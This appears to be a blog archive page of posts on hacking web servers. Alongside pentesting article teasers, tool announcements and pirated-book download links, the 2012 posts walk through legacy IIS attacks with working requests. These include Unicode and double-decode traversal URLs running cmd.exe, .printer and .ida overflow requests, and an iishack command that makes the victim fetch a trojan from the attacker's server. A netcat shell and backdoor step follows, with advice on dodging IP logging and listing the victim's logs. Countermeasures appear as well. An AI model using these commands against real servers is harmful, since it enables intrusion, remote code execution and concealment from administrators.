knox::Geeks: Hacking Web Servers

Showing posts with label Hacking Web Servers. Show all posts

Thursday, February 20, 2014

Manual Web Application Penetration Testing – Finding XSS by Playing With Parameters

Introduction

In my previous article we saw the different ways of fuzzing, including suffix and prefix. We used those fuzzing techniques in order to find error messages in web applications. Now that we know how to fuzz, we will use that skill to find XSS, generally known as cross site scripting.

Testing For XSS

Without wasting any time, let’s go to the Document Viewer page under the A3 cross site scripting (XSS) module. Various methods of exploiting XSS are in there, but first we will choose a simple method which is HTTP attribute.

TO READ FULL ARTICLE, CLICK ON THIS LINK AND SHARE IT IF YOU "REALLY" LIKE IT.

Monday, February 10, 2014

Manual Web Application Penetration Testing – Suffix & Prefix in Fuzzing

Introduction
In this series of articles, last time we talked about fuzzing and various SQL statement special characters which can be used in fuzzing a web application. In this article, I am going to focus on various prefixes and suffixes of fuzzing in order to fuzz the target web application.

CLICK HERE TO READ FULL ARTICLE

Thursday, January 30, 2014

Manually Web Application Penetration Testing: Fuzzing - Part 4

Introduction

When we test a web application, we do not test a single page, but a lot of pages of a single web application. Each page may have more than one variable, so technically you will be engaging with a ton of variables during your web application test. So when you inject anything into the input, it is good to know what kind of effect your injection has on the server. In this part of this series of articles, we will look at the importance of simple alphabetic injection along with the web page encoding technology and how it affects our testing and result.

Simple Alphabetic Injection

When you engage with many web pages and a ton of variables, it is good to find your input after you inject. When you give something to the web page as an input, your input will not be used in only one place, but it will be used for many variables and tons of places. One of the common ways to check which areas use a given input is to give a simple alphabetic injection. This simple alphabetic injection can be anything. As I said in an earlier article, I personally use Jonnybravo as a username and momma as a password. If I use any special characters within my input, it might get encoded/eliminated to prevent the injection attacks on that page. What encoding is and how it takes place I will cover later on. The reason for using simple alphabetic injection is because it will never be encoded or eliminated by the server and you can easily find your input within the response as well as the request.

CLICK HERE TO READ FULL ARTICLE

Monday, January 20, 2014

Manual Web Application Penetration Testing: Identifying Application Entry Points

Introduction

In this article, I will show you how to find injection points for your target host and how the webpage is encoded when it comes to the client side from the server.

Identifying Injection Points

If your web page is static, you cannot test it for security concern. You can test it at some sort of view but you can’t play with it much as compared to a dynamic page. The Nikto scanner is a good utility that works best in testing static sites. There has to be some interaction between client and server via login panel, comment section, register page, contact form, and so on.

To Read Full Article Click Here : http://resources.infosecinstitute.com/manual-web-application-penetration-testing-identifying-application-entry-points/

Friday, January 17, 2014

Manual Web Application Penetration Testing: Introduction

In this series of articles, I am going to demonstrate how you can manually exploit the vulnerability of a web application, compared to using any automation tool, in order to find vulnerabilities in the application. Almost all companies worldwide focus on manual testing of web application rather than running web application scanners, which limit your knowledge and skills and the scope of finding a vulnerability with your testing.
For the whole series I am going to use these programs:

NOWASP Mutiliadae
BURP Proxy
Read full article at : http://resources.infosecinstitute.com/manual-web-application-penetration-testing-introduction/

Monday, July 1, 2013

PenQ: Open source Linux based penetration testing browser bundle

PenQ is an open source Linux based penetration testing browser bundle we built over Mozilla Firefox. It comes pre-configured with security tools for spidering, advanced web searching, fingerprinting, anonymous browsing, web server scanning, fuzzing, report generating and more.

PenQ is configured to run on Debian based distributions including Ubuntu and its derivative distros, and penetration testing operating systems such as BackTrack and Kali.With all its integrations, PenQ is a powerful tool. Be mindful of what use you put it to. Responsible use of PenQ can help secure web apps in a zap.

Features

OWASP ZAP
OWASP WebScarab
OWASP WebSlayer
Nikto Web Server Scanner

Wfuzz Web Application Fuzzer
Mozilla Add-ons Collection
Integrated Tor
OWASP Penetration Testing Checklist

PenTesting Report Generator
Vulnerability Databases Search
Access to Shell and System Utilities
Collection of Useful Links

Download and more info: http://www.qburst.com/products/PenQ

Sunday, June 30, 2013

SpiderFoot: Free open-source footprinting tool

"Footprinting" is the process of understanding as much as possible about a given target in order to perform a more complete security penetration test. Particularly for large networks, this can be a daunting task.

The main objective of SpiderFoot is to automate this process to the greatest extent possible, freeing up a penetration tester's time to focus their efforts on the security testing itself.

SpiderFoot is a free, open-source footprinting tool, enabling you to perform various scans against a given domain name in order to obtain information such as sub-domains, e-mail addresses, owned netblocks, web server versions and so on. The main objective of SpiderFoot is to automate the footprinting process to the greatest extent possible, freeing up a penetration tester's time to focus their efforts on the security testing itself.

Grab it from: http://www.spiderfoot.net/

New in this release, which is actually a complete re-write of the version from 2005(!): - Now runs on Windows as well as Linux, Solaris, *BSD (basically anything with Python should be fine)

Scans are even more configurable than before
All scan data stored locally in an SQLite database for querying, reporting and analysis - Many more scans/tests included (GeoIP, URL linkage, web technology, port scans...) - You can now easily extend functionality by writing your own modules in Python
Completely new user interface, which is now entirely web-based
Configuration state is stored between runs
Scanning can be remotely controlled

I hope you find it useful, and if you have any suggestions/complaints, feel free to contact me.

Wednesday, January 9, 2013

Blackhat USA 2012: Conference Official Recordings & Tools Released

Blackhat USA 2012 [2012, ENG]
English | h264, yuv420p, 1200x600, 14.98 fps | aac, 44100 Hz, mono | 14.38 GB
Genre: Video Training

Here are the videos for all the sessions of Blackhat USA 2012. It also includes a few of tools released during this conference

Content
-https://www.blackhat.com/html/bh-us-12/schedule/briefings-25.html
-https://www.blackhat.com/html/bh-us-12/schedule/briefings-26.html

Tuesday, January 8, 2013

Blackhat USA 2011: Conference Official Recordings

Blackhat USA 2011 [2011, ENG]
English | h264, yuv420p, 1200x600, 14.98 fps | aac, 44100 Hz, mono | 16.19 GB
Genre: Video Training

The official recordings from the Blackhat USA 2011 Conference

More:http://www.securelist.com/en/blog/208193069/BlackHat_USA_2011

Thursday, October 18, 2012

Penetration Testing with BackTrack 4

BackTrack 4: Assuring Security by Penetration Testing
P-ckt P-blishing (April 2011) | ISBN: 1849513945 | PDF + EPUB | 392 pages | 22.1 MB

BackTrack is a penetration testing and security auditing platform with advanced tools to identify, detect, and exploit any vulnerabilities uncovered in the target network environment. Applying appropriate testing methodology with defined business objectives and a scheduled test plan will result in robust penetration testing of your network.

BackTrack 4: Assuring Security by Penetration Testing is a fully focused, structured book providing guidance on developing practical penetration testing skills by demonstrating the cutting-edge hacker tools and techniques in a coherent step-by-step strategy. It offers all the essential lab preparation and testing procedures to reflect real-world attack scenarios from your business perspective in today’s digital age.

The authors’ experience and expertise enables them to reveal the industry’s best approach for logical and systematic penetration testing.

The first and so far only book on BackTrack OS starts with lab preparation and testing procedures, explaining the basic installation and configuration set up, discussing types of penetration testing (black-box and white-box), uncovering open security testing methodologies, and proposing the BackTrack specific testing process. The authors discuss a number of security assessment tools necessary to conduct penetration testing in their respective categories (target scoping, information gathering, discovery, enumeration, vulnerability mapping, social engineering, exploitation, privilege escalation, maintaining access, and reporting), following the formal testing methodology. Each of these tools is illustrated with real-world examples to highlight their practical usage and proven configuration techniques. The authors also provide extra weaponry treasures and cite key resources that may be crucial to any professional penetration tester.

This book serves as a single professional, practical, and expert guide to developing hardcore penetration testing skills from scratch. You will be trained to make the best use of BackTrack OS either in a commercial environment or an experimental test bed.

A tactical example-driven guide for mastering the penetration testing skills with BackTrack to identify, detect, and exploit vulnerabilities at your digital doorstep.

What you will learn from this book :

Initiate the BackTrack OS environment in your test lab by installing, configuring, running, and updating its core system components
Draw a formal BackTrack testing methodology
Scope your target with definitive test requirements, limitations, and business objectives, and schedule the test plan
Gain practical experience with a number of security tools from BackTrack logically divided into sub-categories of testing methodology
Practice the process of reconnaissance, discovery, enumeration, vulnerability mapping, social engineering, exploitation, privilege escalation, and maintaining access to your target for evaluation purposes
Document, report, and present your verified test results to the relevant authorities in a formal reporting structure
Assess the various technologies comprising your target information system’s environment, such as web applications, network administration servers, workstations, Cisco devices, firewalls, load balancers, routers, switches, intrusion detection and prevention devices, and many more
Examine and research the vulnerability in greater detail before attempting to exploit it by taking control of the target, thus reducing any false positives
Exploit human vulnerability by wrapping yourself with the art of deception to acquire the target

Approach

Written as an interactive tutorial, this book covers the core of BackTrack with real-world examples and step-by-step instructions to provide professional guidelines and recommendations to you. The book is designed in a simple and intuitive manner, which allows you to explore the whole BackTrack testing process or study parts of it individually.

Who this book is written for

If you are an IT security professional or network administrator who has a basic knowledge of Unix/Linux operating systems including awareness of information security factors, and you want to use BackTrack for penetration testing, then this book is for you.

Download Rapidgator.net
http://rapidgator.net/file/36794691/Packtpub.BackTrack.4.Apr.2011.rar.html

Download Letitbit.net
http://letitbit.net/download/04351.0b0e2cb964d3c4fb1b6ad2b16734/Packtpub.BackTrack.4.Apr.2011.rar.html

Download Lumfile.com
http://lumfile.com/txeenca0mbpu/Packtpub.BackTrack.4.Apr.2011.rar.html

Wednesday, April 18, 2012

What is ISAPI Extension? ISAPI working & ISAPI DLL Buffer Overflows

ISAPI Extension

An ISAPI extension is a dynamic link library (.dll) that uses ISAPI to provide a set of web functions above and beyond those natively provided by IIS. ISAPI is developed to provide advantage over the shortcomings of Common Gateway Interface, CGI. An ISAPI extension is a regular DLL file that exposes three special functions that are called by the calling process (i.e., IIS) and therefore, will be loaded to memory only once, irrespective of how many clients are going to use it at the same time.

Working

Once the concerned ISAPI DLL is loaded into memory, a worker thread starts running to manage the extension. The first function to be called is the entry point DLLMain function. On completion, the server makes a call to GetExtensionVersion function to perform two tasks - to exchange version information and to get a short text description of the extension. The server then calls the HttpExtensionProc function passing a copy of the ECB's pointer to start the actual ISAPI extension. This function makes writing data back to the client possible.

ISAPI DLL Buffer Overflows

As part of its installation process, IIS installs several ISAPI extensions -- .dlls that provide extended functionality. Among these is idq.dll, which is a component of Index Server (known in Windows 2000 as Indexing Service) and provides support for administrative scripts (.ida files) and Internet Data Queries (.idq files).

Recently, buffer overrun security vulnerability was detected because idq.dll contained an unchecked buffer in a section of code that handled input URLs. An attacker who could establish a web session with a server on which idq.dll was installed could conduct a buffer overrun attack and execute code on the web server. Idq.dll runs in the System context, therefore exploiting the vulnerability would give the attacker complete control of the server and allow him to take any desired action on it.

Exploitation of the buffer overflow involves sending an overlong variable to idq.dll, as shown in the following example, where [buffer] is equivalent to approximately 240 bytes:

GET / null.ida? [buffer] =X HTTP/1.1

Host: [arbitrary_value]

The buffer overrun occurs before any indexing functionality is requested. As a result, even though idq.dll is a component of Index Server/Indexing Service, the service would not need to be running in order for an attacker to exploit the vulnerability. As long as the script mapping for .idq or .ida files were present and the attacker were able to establish a web session, he could exploit the vulnerability.

An attacker who successfully exploited this vulnerability could gain complete control over an affected web server. This would give the attacker the ability to take any desired action on the server, including changing web pages, reformatting the hard drive or adding new users to the local administrators group.

Exploits

Perhaps the most prolific exploits that took advantage of the buffer overflow vulnerability are the code red and nimda worm. These worms are discussed in detail in the module on viruses. A worm is a generic term for a piece of code that replicates itself on a network. Recently, worms have been seen to exploit some popular remote security flaw to infect systems, take control of the victim, and causes damage before setting about launching new attacks against further victims

IPP Printer Overflow

There is a buffer overflow in IIS within the ISAPI filter that handles .printer files (c:\winnt\system32\msw3prt.dll) that provides support for the Internet Printing Protocol (IPP)
IPP enables the web-based control of various aspects of networked printers.
The vulnerability arises when a buffer of approximately 420 bytes is sent within the HTTP host.
GET /NULL.printer HTTP/1.0 HOST: [buffer]

Internet Printing Protocol

Windows 2000 introduced native support for the Internet Printing Protocol (IPP), an industry - standard protocol for submitting and controlling print jobs over HTTP. The protocol is implemented in Windows 2000 via an ISAPI extension that is installed by default as part of Windows 2000 but which can only be accessed via IIS 5.0.

Vulnerability

There was a buffer overrun vulnerability that resulted because the ISAPI extension contained an unchecked buffer in a section of code that handled input parameters. This could enable a remote attacker to conduct a buffer overrun attack and cause code of his choice to run on the server. Such code would run in the Local System security context. This would give the attacker complete control of the server, and would enable him to take virtually any action he chose.

The attacker could exploit the vulnerability against any server with which he could conduct a web session. No other services would need to be available, and only port 80 (HTTP) or 443 (HTTPS) would need to be open.

Windows 2000 Internet printing ISAPI extension contains msw3prt.dll, which handles user requests. Security vulnerability, discovered by Riley Hassell from eEye, in msw2prt.dll, does not correctly perform input validation checking allowing an attacker to overflow a buffer and run any program in the SYSTEM context.

Due to the unchecked buffer in msw3prt.dll, a maliciously crafted HTTP .print request containing approx 420 bytes in the 'Host:' field will allow the execution of arbitrary code. A remote command shell is trivial for the attacker to execute and destructive for the web site because it allows the attacker complete control over the web server. If a web server would stop responding in a buffer overflow condition and Windows 2000 detects an unresponsive web server it automatically performs a restart. Therefore, the administrator will be unaware of this attack. This however makes it easier for remote attacks to execute code against Windows 2000 IIS 5.0 web servers. If Web-based Printing has been configured with a group policy, attempts to disable or unmap the affected extension via Internet Services Manager will be overridden by the group policy settings.

---Regards,

Amarjit Singh

Tuesday, April 17, 2012

What is Vulnerability? How to execute Exploits on a known vulnerablity

The vulnerability arises when a buffer of approx. 420 bytes is sent within the HTTP Host: header for a .printer ISAPI request. Remotely exploits buffer overflow, inserts shellcode to "shovel a shell" back to a listener on attacker's system.

Example:

GET /NULL.printer HTTP/1.0

Host: [buffer] (Where [buffer] is approx. 420 characters.)

When exploited, an attacker would have caused a buffer overflow within IIS and have overwritten EIP. Now normally the web server would stop responding once the attacker has "buffer overflowed" it. However, Windows 2000 will automatically restart the web server if it notices that the web server has crashed.

This exploit will run against an IIS 5 web server, create a text document on the remote server with instructions directing readers to a web page on eeye.com that has information on how to patch the system so that the web server is no longer vulnerable to this flaw.

Wanderley J. Abreu Jr. provided the memory leak 'iiswebexplt.pl' exploit.

This code requires perl and is run from the command line as "perl iiswebexpl.pl victim". Upon execution, the code outputs the results in text on the screen stating if the victim web server is vulnerable or not vulnerable.

Dark spyrit provided the 'jill.c' exploit.

The exploit code jill.c, is a 167-line program written in the C language, authored by a grey-hat hacker in New Zealand who uses the nickname Dark Spyrit. Although jill is written in UNIX C, compiling it on Windows 2000 is a snap with the Cygwin environment. Cygwin compiles UNIX code with an "abstraction layer" library—cygwin1.dll—that intercepts the native UNIX calls and translates them into Win32 equivalents. Therefore as long as the cygwin1.dll is in the working path from where the compiled executable is run, it would function on Win32 as it would under UNIX or Linux.

Using the compiled code against a default installation of IIS 5.0, an attacker merely needs to type in the name of a remote system and a port number, and gain complete control of the machine in a matter of seconds. It provides the remote attacker with a command shell with SYSTEM level access. Therefore the exploit grants full control over the system allowing the attacker to "own" the system.

iis5 remote .printer overflow.

dark spyrit / beavuh labs.

Usage:/jill

Because the initial attack occurs via the Web application channel (port 80, typically) and because the shell is shoveled outbound from the victim Web server on a port defined by the attacker, this attack is difficult to stop using router or firewall filtering.

Cyrus the Great provided the 'iis5hack.zip' exploit

This is basically the jill.c script with some changes to make it easier to compile on the Windows platform which in effect makes it a real point and click exploit code. It also includes a perl script

Monday, April 16, 2012

How to ROOT a Server? Tools & software useful to hack web servers: Learn server hacking

iishack.exe overflows a buffer used by IIS http daemon, allowing for arbitrary code to be executed.

c:\ iishack www.yourtarget.com 80 www.yourserver.com/thetrojan.exe

www.yourtarget.com is the IIS server you're hacking, 80 is the port its listening on, www.yourserver.com is some webserver with your trojan or custom script (your own, or another), and /thetrojan.exe is the path to that script.

"IIS Hack" is a buffer overflow vulnerability exposed by the way IIS handles requests with .HTR extensions. A hacker sends a long URL that ends with ".HTR". IIS interprets it as a file type of HTR and invokes the ISM.DLL to handle the request. Since ISM.DLL is vulnerable to a buffer overflow, a carefully crafted string can be executed in the security context of IIS, which is privileged. For example, it is relatively simple to include in the exploit code a sequence of commands that will open a TCP/IP connection, download an executable and then execute it. This way, any malicious code can be executed.

A sample exploit can be constructed as shown below:

To hack the target site and attacker's system running a web server can use iishack.exe and ncx.exe.

To begin with, the ncx.exe is configured to run from the root directory. IIShack.exe is then run against the victim site.

     c:\>iishack.exe  80 /ncx.exe

The attacker can then use netcat to evoke the command shell

     c:\>nc  80

He can proceed to upload and execute any code of his choice and maintain a backdoor on the target site.

Install latest service pack from Microsoft.
Remove IPP printing from IIS Server
Install firewall and remove unused extensions
Implement aggressive network egress filtering
Use IISLockdown and URLScan utilities
Regularly scan your network for vulnerable servers

Without any further explanation, the first countermeasure is obviously to install the latest service packs and hotfixes.

As with many IIS vulnerabilities, the IPP exploit takes advantage of a bug in an ISAPI DLL that ships with IIS 5 and is configured by default to handle requests for certain file types. This particular ISAPI filter resides in C: \WINNT\System32\msw3prt.dll and provides Windows 2000 with support for the IPP. If this functionality is not required on the Web server, the application mapping for this DLL to .printer files can be removed (and optionally deleting the DLL itself) in order to prevent the buffer overflow from being exploited. This is possible because the DLL will not be loaded into the IIS process when it starts up. In fact, most security issues are centered on the ISAPI DLL mappings, making this one of the most important countermeasure to be adopted when securing IIS.

Another standard countermeasure that can be adopted here is to use a firewall and remove any extensions that are not required. Implementing aggressive network egress can help to a certain degree.

With IIS, using IISLockdown and URLScan - (free utilities from Microsoft) can ensure more protection and minimize damage in case the web server is affected.

Microsoft has also released a patch for the buffer overflow, but removing the ISAPI DLL is a more proactive solution in case there are additional vulnerabilities that are yet to be found with the code.

Microsoft IIS 4.0 and 5.0 can be made to disclose fragments of source code which should otherwise be in accessible.
This is done by appending "+.htr" to a request for a known .asp (or .asa, .ini, etc) file.
appending this string causes the request to be handled by ISM.DLL, which then strips the '+.htr' string and may disclose part or all of the source of the .asp file specified in the request.

IIS supports several file types that require server-side processing. When a web site visitor requests a file of one of these types, an appropriate filter DLL processes it. Vulnerability exists in ISM.DLL, the filter DLL that processes .HTR files. HTR files enable remote administration of user passwords.

HTR files are scripts that allow Windows NT password services to be provided via IIS web servers. Windows NT users can use .HTR scripts to change their own passwords, and administrators can use them to perform a wide array of password administration functions. HTR is a first-generation advanced scripting technology that is included in IIS 3.0, and still supported by later versions of IIS for backwards compatibility. However, HTR was never widely adopted, and was superceded by Active Server Pages (ASP) technology introduced in IIS 4.0.

Attack Methods

Exploit / Attack Methodology

By making a specially formed request to IIS, with the name of the file and then appending around 230 + " %20 " (these represents spaces) and then appending " .htr " this tricks IIS into thinking that the client is requesting a " .htr " file . The .htr file extension is mapped to the ISM.DLL ISAPI Application and IIS redirects all requests for .htr resources to this DLL.

ISM.DLL is then passed the name of the file to open and execute but before doing this ISM.DLL truncates the buffer sent to it chopping off the .htr and a few spaces and ends up opening the file whose source is sought. The contents are then returned. This attack can only be launched once though, unless the web service started and stopped. It will only work when ISM.DLL first loaded into memory.

"Undelimited .HTR Request" vulnerability: The first vulnerability is a denial of service vulnerability. All .HTR files accept certain parameters that are expected to be delimited in a particular way. This vulnerability exists because the search routine for the delimiter isn't properly bounded. Thus, if a malicious user provided a request without the expected delimiter, the ISAPI filter that processes it would search forever for the delimiter and never find it.

If a malicious user submitted a password change request that lacked an expected delimiter, ISM.DLL, the ISAPI extension that processes .HTR files, would search endlessly for it. This would prevent the server from servicing any more password change requests. In addition, the search would consume CPU time, so the overall response of the server might be slowed.

The second threat would be more difficult to exploit. A carefully-constructed file request could cause arbitrary code to execute on the server via a classic buffer overrun technique. Neither scenario could occur accidentally. This vulnerability does not involve the functionality of the password administration features of .HTR files.

".HTR File Fragment Reading" vulnerability: The ".HTR File Fragment Reading" vulnerability could allow fragments of certain types of files to be read by providing a malformed request that would cause the. HTR processing to be applied to them. This vulnerability could allow a malicious user to read certain types of files under some very restrictive circumstances by levying a bogus .HTR request. The ISAPI filter will attempt to interpret the requested file as an .HTR file, and this would have the effect of removing virtually everything but text from a selected file. That is, it would have the effect of stripping out the very information that is most likely to contain sensitive information in .asp and other server-side files.

The .htr vulnerability will allow data to be added, deleted or changed on the server, or allow any administrative control on the server to be usurped. Although .HTR files are used to allow web-based password administration, this vulnerability does not involve any weakness in password handling.

"Absent Directory Browser Argument" vulnerability: Among the default HTR scripts provided in IIS 3.0 (and preserved on upgrade to IIS 4.0 and IIS 5.0) were several that allowed web site administrators to view directories on the server. One of these scripts, if called without an expected argument, will enter an infinite loop that can consume all of the system's CPU availability, thereby preventing the server from responding to requests for service.

Saturday, April 14, 2012

Canonicalization : Vulnerability : Exploit : Unicode

Canonicalization

Canonicalization is the process by which various equivalent forms of a name can be resolved to a single, standard name - the so-called canonical name. For example, on a given machine, the names c:\dir\test.dat, test.dat, and ..\..\test.dat might all refer to the same file. Canonicalization is the process by which such names would be mapped to a name like c: \dir\test.dat.

Vulnerability

When certain types of files are requested via a specially-malformed URL, the canonicalization yields a partially-correct result. It locates the correct file, but concludes that the file is located in a different folder than it actually is. As a result, it applies the permissions from the wrong folder.

The vulnerability results because it is possible to construct an URL that would cause IIS to navigate to any desired folder on the logical drive that contains the web folder structure, and access files in it. The request would be processed under the security context of the IUSR_machinename account, which is the anonymous user account for IIS. This is the account that performs web actions on behalf of unauthenticated visitors to the site. Under normal conditions, the account only has permissions to take actions that are acceptable for general use by visitors to the site.

The danger lies in the fact that the vulnerability allows the user to escape from the web folders and access files elsewhere on the drive. By default, many of these files provide access to the everyone group and/or the Users group, both of which include the IUSR_machinename account as a member. These groups have executed permissions to most operating system commands, and this would give the malicious user the ability to cause widespread damage. This vulnerability would effectively grant the same privileges to the malicious user as are normally available to users who can log onto a machine locally.

The default permissions would allow the user to execute virtually any operating system command, and these would enable him to cause a wide array of damage. He could, for instance, create new files on the server, delete ones that are already there, or he could reformat the entire hard drive. He wouldn't be limited to misusing code that already existed on the server. Access to the operating system commands would give him the ability to upload code of his choice to the machine and execute it.

However, the vulnerability only allows files to be accessed if they reside on the same logical drive as the web folders. So, for instance, if a web administrator had configured his server so that the operating system files were installed on the C: drive and the web folders were installed on the D: drive, the malicious user would be unable to use the vulnerability to access the operating system files.

Exploit

One of the principal security functions of a web server is to restrict user requests so they can only access files within the web folders. Microsoft IIS 4.0 and 5.0 are both vulnerable to double dot "../" directory traversal exploitation if extended Unicode character representations are used in substitution for "/" and "\". This vulnerability provides a way for a malicious user to provide a special URL to the web site that will access any files whose name and location he knows, and which is located on the same logical drive as the web folders. This would potentially enable a malicious user who visited the web site to gain additional privileges on the machine - specifically, it could be used to gain privileges commensurate with those of a locally logged-on user. Gaining these permissions would enable the malicious user to add, change or delete data, run code already on the server, or upload new code to the server and run it. For instance, consider the following valid url.

http://target/scripts/..%c1%1c../path/file.ext

Eg.

http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir

http://target/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir

http://target/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir

http://target/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir

http://target/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir

http://target/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir

http://target/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir

http://target/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir

Another exploit demonstrates how an attacker can execute commands using a redirect on the target host.

To begin, the attacker copies ".. \..\winnt\system32\cmd.exe" to "..\..\interpub\scripts\cmd1.exe"
He appends the command to the valid URL.
http://site/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+copy+..\..\winnt\system32\cmd.exe+cmd1.exe
Vulnerable IIS returns: "CGI Error ... 1 file(s) copied."
The specified CGI application does not return a complete set of HTTP headers. Instead it returns the above error.
Next the attacker runs "cmd1.exe /c echo abc >aaa & dir & type aaa" along with the URL to list the directory contents.
http://site/scripts/..%c1%9c../inetpub/scripts/cmd1.exe?/c+echo+abc+>aaa&dir&type+aaa
Vulnerable IIS returns:
```
" Directory of c: \inetpub\scripts  10/25/2000 03:48p  . 10/25/2000 03:48p  .. 10/25/2000 03:51p 6 aaa 12/07/1999 05:00a 236,304 cmd1.exe .. abc 
```

ASCII characters for the dots are replaced with hexadecimal equivalent (%2E).
ASCII characters for the slashes are replaced with Unicode equivalent (%co%af).
Unicode 2.0 allows multiple encoding possibilities for each characters.
Unicode for"/": 2f, c0af, e080af, f08080af, f8808080af,.....
Overlong Unicode are NOT malformed, but not allowed by a correct Unicode encoder and decoder.
Maliciously used to bypass filters that only check short Unicode.

Unicode extensions are installed by default with Microsoft Internet Information Server (IIS) version 4.0 and 5.0. This is to allow characters that are not used in the English language to be recognized by web servers. Computers store letters and other characters by assigning a number to them.

Unicode provides a unique number for every character. Unicode forms a single character set across all languages. It is a standard 2-byte or 3-byte character set. The IIS Unicode Exploit allows users to run arbitrary commands on the web server. IIS servers with the Unicode extensions loaded are vulnerable unless they are running current patches.

This exploit can be used when:

A writeable or executable directory is available; allowing attackers to upload malicious code.
A system executable such as cmd.exe is available on the root and does not have an access control list applied to it.

The attack occurs when an attacker sends a malformed URL to a web server that looks something like this:

http://victim/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:

If the target has a virtual executable directory (e.g. scripts) located on the same directory of Windows system, the directory of C: will be revealed. The question mark inserted after cmd.exe represents a command line argument.

For instance, appending a/c as in the above example, indicates that it carries out the command specified by the sub ceding string and then terminates. The "+" indicates the space between arguments. The variable /..%255c..%255c decodes to /.... which translates to a directory traversal.

This is equivalent to sending a hex value to the server. A common example is %20 which refers to a space. Using a direct hex interpretation of a directory traversal will be checked by IIS user access denied.

Still, the exploit occurs because the CGI routine within the web server decodes the address twice. First CGI filename will be decoded to check if it is an executable file (e.g. '.exe' or '.com') After the filename checkup , IIS will run another decode process. So an attacker will send various hex values of a required character till a suitable value is accepted.

Therefore '..' can be represented by '..%255c' , '..%%35c' etc. After first decoding, '..%255c' is turned into '..%5c' IIS will take it as legal character string that can pass security checkup. However, after a second decode process, it will be reverted to '..' and the attack succeeds.

http://www.somesite.com/../../../../../winnt/repair/sam.

In this case, the web server will just look for the file in the web root directory called "../../../../../winnt/repair/sam._". The '../' tells the web server to search one directory above, so here, the web server will look in the document root for a file called winnt/repair/sam. _. The no. of '../"s does not matter as long as there are enough of them to traverse back to the root of the file system (either c: or / on UNIX system)

The IIS Unicode exploit uses the HTTP protocol and malformed URLs to traverse directories and execute arbitrary commands on the vulnerable web servers. The IIS Unicode exploit uses a Unicode representation of a directory delimiter (/) to fool IIS. Because the exploit uses http, it works directly from the address bar of a browser. Because of the non-interactive nature of this exploit, interactive commands such as ftp & telnet do not work.

IIS logs all the visits in log files. The log file is located at <%systemroot%>\logfiles
Be careful. If you don't use proxy, then your IP will be logged.
This command lists the log files:

http://victim.com/scripts/..%c0%af../.. %c 0%af../..%c0%af../..%c0%af../..%c0%af../. .%c0%af../..%c0%af../..%c0%af../winnt/sys tem32/cmd.exe?/c+dir+C:\Winnt\system32\Lo gfiles\W3SVC1

Capturing and maintaining log files are critical to the secure administration of a web server. While it is generally considered that the log does not capture an intrusion till after the request has been processed, a diligent administrator might couple logging with tools such as urlscan which will make logging more effective. Here, we will discuss some of the best practices that can be followed when it comes to IIS logs. The best way to emphasize the value and importance of IIS log files would be to draw a comparison to a crime scene, such that while handling IIS logs, they must be treated as if they are evidence already. Coupling IIS logs with other monitoring records such as Firewall logs, IDS logs, and even TCPDump can lend more credibility in the event of the log being used for evidence.

The first rule is to configure the IIS logs to record every available field. Gathering information about Web visitors can help establish the source of an attack - either by linking it to a system or to a user. The more information that is collected, the better chance there is of pinning down the perpetrator.

The second rule is to capture events with a proper time stamp. This is because IIS records logs using UTC time. The accuracy of the UTC time can be ensured only if the local time zone setting is correct.

The third rule is to ensure continuity in the logs. IIS logs do not register a log entry if the server does not get any hits in a 24-hour period. This makes the presence of an empty log file ambiguous as there is no way of telling if the server received no hits, was offline or if the log file was actually deleted. The simplest workaround would be to use the Task Scheduler and schedule hits. In general, scheduled requests can indicate that the logging mechanism is functioning properly. Therefore, if a log file is missing, it is probably because the file was intentionally deleted.

The fourth rule is to ensure that logs are not modified in any way after they have been originally recorded. Once a log file is created, it is important to prevent the file from being accessed and audit any authorized and unauthorized access. One way to achieve this is to move the IIS logs off the Web server. File signatures are helpful because if a single file is corrupted, it does not invalidate the rest of the logs. Also, when doing any log file analysis, the original files must be never worked with. After the log is closed, no one should have permissions to modify the file contents.

---Regards,

Amarjit Singh

Friday, April 13, 2012

Web Application Vulnerabilities

Readers, now we will learn to emphasize on the need to secure the applications as they permit an attacker to compromise a web server or network over the legitimate port of entry. As more businesses are hosting web based applications as a natural extension of themselves, the damage that can result as a result of compromise assumes significant proportions.

After completing this, you will be familiar with the following aspects:

Understanding Web Application Security
Common Web Application Security Vulnerabilities
Web Application Penetration Methodologies
Input Manipulation
Authentication And Session Management
Tools: Lynx, Teleport Pro, Black Widow, Web Sleuth
Countermeasures

Understanding Web Application Security

Web based application security differs from the general discussion on security. In the general context, usually an IDS and/firewall lends some degree of security. However in the case of web applications, the session takes place through the allowed port - the default web server port 80. This is equivalent to establishing a connection without a firewall. Even if encryption is implemented, it only encrypts the transport protocol and in the event of an attack, the attacker's session will just be encrypted in nature. Encryption does not thwart the attack.

Attacking web applications is one of the most common way attackers compromise hosts, networks and users. It is a challenging task to defend against these attacks as there is no scope for logging the actions performed. This is particularly true for today's business applications where a significant percentage of applications are custom made or sourced from third party software components.

Reliability of Client-Side Data
Special Characters that have not been escaped
HTML Output Character Filtering
Root accessibility of web applications
ActiveX/JavaScript Authentication
Lack of User Authentication before performing critical tasks.

It has been noted that more often web application vulnerability can be eliminated to a great extent by the way they are designed. Apart from this, common security procedures are often overlooked by the functioning of the application.

Threat

Reliability of Client-Side Data: It is recommended that the web application rely on server side data for critical operations rather than the client side data, especially for input purposes.

Threat

Special Characters that have not been escaped: Often this aspect is overlooked and special characters that can be used to modify the instructions by the attackers are found in the web application code. For example, UTF-7 provides alternative encoding for "<" and ">", and several popular browsers recognize these as the start and end of a tag.

Threat

HTML Output Character Filtering: Output filtering helps a developer build an application which is not susceptible to cross site scripting attacks. When information is displayed to users, it should be escaped. HTML should be rendered inactive to prevent cross site scripting attacks.

Threat

Root accessibility of web applications: Ideally web applications should not expose the root directory of the web server. Sometimes, it is possible for the user to access the root directory if he can manipulate the input or the URL.

Threat

ActiveX/JavaScript Authentication: Client side scripting languages are vulnerable to attacks such as cross side scripting.

Threat

